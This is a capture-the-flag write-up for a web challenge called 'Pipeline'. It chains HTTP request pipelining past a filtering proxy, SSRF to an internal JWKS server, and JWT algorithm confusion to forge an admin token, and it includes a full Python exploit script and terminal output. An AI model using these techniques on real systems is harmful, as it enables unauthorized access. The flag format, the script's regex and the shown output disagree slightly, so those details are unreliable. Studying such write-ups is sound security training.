CTF Challenge: Pipeline
Challenge Information
- Category: Web
- Difficulty: Medium
- Flag Format:
AKASE{...}
Challenge Overview
The challenge presents a Node.js application with three main components:
- A reverse proxy that filters dangerous requests
- A main application with protected endpoints
- An internal JWKS (JSON Web Key Set) server
The goal is to obtain a flag from the
/admin/flag endpoint, which requires admin authentication.Architecture Analysis
┌─────────────────┐ │ Port 8082 │ │ Reverse Proxy │ ← External access └────────┬────────┘ │ ▼ ┌─────────────────┐ │ Port 3000 │ │ Main App │ ← Internal only │ - /admin/flag │ │ - /debug/fetch │ └────────┬────────┘ │ ▼ ┌─────────────────┐ │ Port 5000 │ │ JWKS Server │ ← Localhost only │ - /.well-known │ └─────────────────┘
Key Components
1. Reverse Proxy (server.js)
// Blocks access to /debug endpoints if (checkPath.toLowerCase().startsWith('/debug')) { client.write('HTTP/1.1 403 Forbidden...'); return; }
Vulnerability: Only checks the first request in the buffer, but forwards the entire buffer to the backend.
2. Main Application
// SSRF endpoint - requires local access app.get('/debug/fetch', async (req, res) => { const xff = (req.headers['x-forwarded-for'] || '').toString(); const fromProxy = xff.includes('127.0.0.1') || req.ip === '127.0.0.1'; if (!fromProxy) return res.status(403).json({ error: 'forbidden' }); // ... fetches arbitrary URLs }); // Flag endpoint - requires admin JWT app.get('/admin/flag', requireAuth, (req, res) => { if (req.user && req.user.role === 'admin') { return res.json({ flag: FLAG }); } // ... });
3. JWT Verification
async function verifyToken(token) { const decoded = jwt.decode(token, { complete: true }); const alg = decoded.header.alg; const { pem, hmacSecret } = await getKeys(); if (alg === 'RS256') { return jwt.verify(token, pem, { algorithms: ['RS256'] }); } if (alg === 'HS256') { return jwt.verify(token, hmacSecret, { algorithms: ['HS256'] }); } throw new Error('unsupported alg'); }
Vulnerability: Accepts both RS256 and HS256, with the HMAC secret being a known value from the JWKS.
Vulnerabilities Identified
1. HTTP Request Pipelining (Main Vulnerability)
The challenge name "Pipeline" is the biggest hint!
How it works:
- HTTP/1.1 supports request pipelining - sending multiple requests over a single TCP connection
- The proxy's
parseHeaders()function only parses the first request
- However, it forwards the entire buffer to the backend
Impact: We can smuggle requests that would normally be blocked.
2. JWT Algorithm Confusion
The application accepts both RS256 (asymmetric) and HS256 (symmetric) algorithms. The HMAC secret is derived from the JWKS endpoint:
const hmacSecret = (data.keys[0].n || '').toString();
In the provided JWKS:
{ "keys": [{ "n": "random-string-for-hmac-secret" }] }
Impact: If we can read the JWKS, we can forge admin JWTs.
3. SSRF via /debug/fetch
The
/debug/fetch endpoint can fetch arbitrary URLs but is "protected" by checking if the request comes from localhost.Impact: Can read internal services like the JWKS server on port 5000.
Exploitation Chain
Step 1: Bypass Proxy with HTTP Pipelining
Send two HTTP requests in a single TCP connection:
# First request: Harmless, passes proxy check request1 = ( "GET / HTTP/1.1\\r\\n" "Host: app\\r\\n" "Content-Length: 0\\r\\n" "\\r\\n" ) # Second request: Smuggled /debug request request2 = ( "GET /debug/fetch?url=http://localhost:5000/.well-known/jwks.json HTTP/1.1\\r\\n" "Host: app\\r\\n" "X-Forwarded-For: 127.0.0.1\\r\\n" "Connection: close\\r\\n" "\\r\\n" ) # Send both in one packet sock.sendall((request1 + request2).encode())
Why this works:
- The proxy parses only
request1and seesGET /- ✅ Allowed
- The proxy forwards the entire buffer including
request2
- The backend Express app processes both requests
request2reaches/debug/fetchwithX-Forwarded-For: 127.0.0.1
Step 2: Extract JWKS via SSRF
The smuggled request fetches:
<http://localhost:5000/.well-known/jwks.json>
Response:
{ "keys": [{ "kty": "RSA", "kid": "test-key-1", "alg": "RS256", "use": "sig", "n": "random-string-for-hmac-secret", "e": "random-string-for-e", "pem": "random-string-for-pem" }] }
The
n field value becomes our HMAC secret.Step 3: Forge Admin JWT
Using the extracted HMAC secret, create a JWT with admin privileges:
import jwt payload = { 'role': 'admin', 'user': 'attacker' } token = jwt.encode(payload, 'random-string-for-hmac-secret', algorithm='HS256')
The JWT header will be:
{ "alg": "HS256", "typ": "JWT" }
Since the app accepts HS256 and uses the
n field as the secret, our forged token will validate!Step 4: Retrieve the Flag
Pipeline another request to get the flag:
request1 = "GET / HTTP/1.1\\r\\n..." # Passes proxy request2 = ( "GET /admin/flag HTTP/1.1\\r\\n" "Host: app\\r\\n" f"Authorization: Bearer {token}\\r\\n" "Connection: close\\r\\n" "\\r\\n" ) sock.sendall((request1 + request2).encode())
The backend validates our HS256 JWT, sees
role: admin, and returns the flag!Complete Exploit Script
#!/usr/bin/env python3 import socket import jwt import json import re TARGET_HOST = "172.201.104.246" TARGET_PORT = 14911 def send_pipelined(host, port, req1, req2): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.sendall((req1 + req2).encode()) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk sock.close() return response.decode('latin1', errors='ignore') # Step 1 & 2: Get JWKS req1 = "GET / HTTP/1.1\\r\\nHost: app\\r\\nContent-Length: 0\\r\\n\\r\\n" req2 = "GET /debug/fetch?url=http://localhost:5000/.well-known/jwks.json HTTP/1.1\\r\\nHost: app\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nConnection: close\\r\\n\\r\\n" response = send_pipelined(TARGET_HOST, TARGET_PORT, req1, req2) jwks = json.loads(re.search(r'\\{.*\\}', response, re.DOTALL).group(0)) hmac_secret = jwks['keys'][0]['n'] # Step 3: Forge JWT token = jwt.encode({'role': 'admin'}, hmac_secret, algorithm='HS256') # Step 4: Get flag req1 = "GET / HTTP/1.1\\r\\nHost: app\\r\\nContent-Length: 0\\r\\n\\r\\n" req2 = f"GET /admin/flag HTTP/1.1\\r\\nHost: app\\r\\nAuthorization: Bearer {token}\\r\\nConnection: close\\r\\n\\r\\n" response = send_pipelined(TARGET_HOST, TARGET_PORT, req1, req2) flag = re.search(r'AKASE\\{[^}]+\\}', response).group(0) print(flag)
On terminal:'
(venv) ┌─[daryx@parrot]─[~] └──╼ $python3 exploit.py [*] CTF Challenge: Pipeline - HTTP Request Smuggling ============================================================ [*] Step 1: HTTP Pipelining to bypass proxy and access /debug/fetch [*] Sending pipelined requests: [*] Request 1: GET / (passes proxy check) [*] Request 2: GET /debug/fetch (smuggled) [*] Raw response received: ------------------------------------------------------------ HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 2 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Date: Sun, 19 Oct 2025 11:39:41 GMT Connection: keep-alive Keep-Alive: timeout=5 OKHTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 617 ETag: W/"269-uorlk3gytc/1mhNDiENb7YmLnOs" Date: Sun, 19 Oct 2025 11:39:41 GMT Connection: close {"keys":[{"kty":"RSA","kid":"test-key-1","alg":"RS256","use":" ------------------------------------------------------------ [+] Second response (smuggled /debug/fetch): HTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 617 ETag: W/"269-uorlk3gytc/1mhNDiENb7YmLnOs" Date: Sun, 19 Oct 2025 11:39:41 GMT Connection: close {"keys":[{"kty":"RSA","kid":"test-key-1","alg":"RS256","use":"sig","n":"sXoL2wR8xQk3c4H5a6b7c8d9e0fGhIjKlMnOpQrStUvWxYz0123456789abcdef","e":"AQAB","pem":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApz5K1G6o8dYxarjDsQSR\\n9i2JcvgYb3oUYGtq6PC7D2QF5PpQ+R4q7x7T9xQwS9 [+] Successfully extracted JWKS! { "keys": [ { "kty": "RSA", "kid": "test-key-1", "alg": "RS256", "use": "sig", "n": "sXoL2wR8xQk3c4H5a6b7c8d9e0fGhIjKlMnOpQrStUvWxYz0123456789abcdef", "e": "AQAB", "pem": "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApz5K1G6o8dYxarjDsQSR\\n9i2JcvgYb3oUYGtq6PC7D2QF5PpQ+R4q7x7T9xQwS9kJ8ygadV3E3r8QxVgTq8r8\\nGnJX8h5b6zQST8Fr6J0c1uZpO9w2FQk6Z5f3vQCmL0+2Hc9yR6Vq9EPiQzTt8a1b\\nQ5w8oJHc7/3g+0yH8k9c4s3N6pW2cQ8vjJwAYmLxgWb0o2fKX3Q2uN9Jx2a1g5rH\\nzcj2iP/6dnqYdJ8mM2fX7oJ7t2eJp9o0hV5s1R8M9C0E6Y5r8t5x0oRQB8Dq2S1L\\nGq2k3l6p9H3ZVd9HjFvJgqC7+9/1V2sE7k7KzN4O7aH9wX8bG6lN8K4m5r2d2WmE\\nSwIDAQAB\\n-----END PUBLIC KEY-----" } ] } [*] Step 2: Extract HMAC secret from JWKS [*] HMAC Secret: sXoL2wR8xQk3c4H5a6b7c8d9e0fGhIjKlMnOpQrStUvWxYz0123456789abcdef [*] Step 3: Create malicious JWT with HS256 and role=admin [*] Generated JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoiYXR0YWNrZXIifQ.rS7cx4ettOmphqn70WaITXDgOTT99PBzFx5gAuUIk3M [*] Step 4: Get flag using pipelined request with JWT [*] Response: HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 2 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Date: Sun, 19 Oct 2025 11:39:42 GMT Connection: keep-alive Keep-Alive: timeout=5 OKHTTP/1.1 200 OK X-Powered-By: Express Content-Type: application/json; charset=utf-8 Content-Length: 44 ETag: W/"2c-T9LJXJDhsa0BPtH7ih58bqwwiPE" Date: Sun, 19 Oct 2025 11:39:42 GMT Connection: close {"flag":"AKASEC{MzAha_MN_Qb1lA_9ad_H4d_xi}"} ============================================================ SUMMARY: ============================================================ This challenge exploits HTTP Request Pipelining (hence the name "Pipeline"): 1. The proxy only validates the FIRST request in a pipelined sequence 2. But it forwards ALL requests to the backend 3. We pipeline: GET / (passes check) + GET /debug/fetch (smuggled) 4. Extract HMAC secret from JWKS endpoint via SSRF 5. Forge HS256 JWT with role=admin using the secret 6. Pipeline again: GET / + GET /admin/flag with forged JWT 7. Capture the flag!
Flag
AKASEC{MzAha_MN_Qb1lA_9ad_H4d_xi}
